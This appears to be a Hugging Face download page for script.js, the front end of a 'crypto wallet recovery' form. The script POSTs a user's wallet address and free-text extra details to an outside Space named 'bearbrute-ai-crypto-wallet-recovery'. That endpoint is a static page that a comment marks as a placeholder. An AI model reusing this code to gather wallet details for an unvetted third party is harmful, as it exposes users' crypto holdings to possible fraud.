Download script.js from davidpeter/deepsite-project-1u2la: direct link, hf CLI and curl.
- Browser
- Download file 3.12 kB
-
https://huggingface.co/spaces/davidpeter/deepsite-project-1u2la/resolve/main/script.js
- Command line
-
hf download hf://spaces/davidpeter/deepsite-project-1u2la/script.js
-
curl -L -o script.js https://huggingface.co/spaces/davidpeter/deepsite-project-1u2la/resolve/main/script.js
3.12 kB
| // API Configuration – replace with actual endpoint from the Hugging Face Space | |
| const API_URL = 'https://megatron11722-bearbrute-ai-crypto-wallet-recovery.static.hf.space/index.html#'; | |
| // DOM Elements | |
| const form = document.getElementById('recoveryForm'); | |
| const walletAddress = document.getElementById('walletAddress'); | |
| const extraInfo = document.getElementById('extraInfo'); | |
| const recoverBtn = document.getElementById('recoverBtn'); | |
| const btnText = document.getElementById('btnText'); | |
| const loadingSpinner = document.getElementById('loadingSpinner'); | |
| const errorMsg = document.getElementById('errorMsg'); | |
| const resultContainer = document.getElementById('resultContainer'); | |
| const resultContent = document.getElementById('resultContent'); | |
| const copyBtn = document.getElementById('copyBtn'); | |
| // Form Submit | |
| form.addEventListener('submit', async (e) => { | |
| e.preventDefault(); | |
| // Basic validation | |
| if (!walletAddress.value.trim()) { | |
| showError('Please enter a wallet address.'); | |
| return; | |
| } | |
| // UI loading state | |
| setLoading(true); | |
| hideError(); | |
| hideResult(); | |
| try { | |
| // Build payload according to Gradio API (data array of inputs) | |
| const payload = { | |
| data: [ | |
| walletAddress.value.trim(), | |
| extraInfo.value.trim() || 'no extra info' | |
| ] | |
| }; | |
| const response = await fetch(API_URL, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(payload), | |
| }); | |
| if (!response.ok) { | |
| throw new Error(`API error: ${response.status} ${response.statusText}`); | |
| } | |
| const result = await response.json(); | |
| // Gradio returns { data: [...] } | |
| if (result && result.data && result.data.length > 0) { | |
| const recovered = result.data[0]; | |
| displayResult(typeof recovered === 'string' ? recovered : JSON.stringify(recovered, null, 2)); | |
| } else { | |
| throw new Error('Unexpected response structure'); | |
| } | |
| } catch (err) { | |
| showError(`Failed to recover wallet: ${err.message}`); | |
| } finally { | |
| setLoading(false); | |
| } | |
| }); | |
| // Copy to clipboard | |
| copyBtn.addEventListener('click', async () => { | |
| const text = resultContent.textContent; | |
| if (!text) return; | |
| try { | |
| await navigator.clipboard.writeText(text); | |
| copyBtn.innerHTML = '<i data-lucide="check" class="w-4 h-4"></i> Copied!'; | |
| lucide.createIcons(); | |
| setTimeout(() => { | |
| copyBtn.innerHTML = '<i data-lucide="copy" class="w-4 h-4"></i> Copy to Clipboard'; | |
| lucide.createIcons(); | |
| }, 2000); | |
| } catch (err) { | |
| alert('Copy failed. Please copy manually.'); | |
| } | |
| }); | |
| // Helper functions | |
| function setLoading(isLoading) { | |
| recoverBtn.disabled = isLoading; | |
| btnText.classList.toggle('hidden', isLoading); | |
| loadingSpinner.classList.toggle('hidden', !isLoading); | |
| } | |
| function showError(msg) { | |
| errorMsg.textContent = msg; | |
| errorMsg.classList.remove('hidden'); | |
| } | |
| function hideError() { | |
| errorMsg.classList.add('hidden'); | |
| } | |
| function displayResult(text) { | |
| resultContent.textContent = text; | |
| resultContainer.classList.remove('hidden'); | |
| } | |
| function hideResult() { | |
| resultContainer.classList.add('hidden'); | |
| } |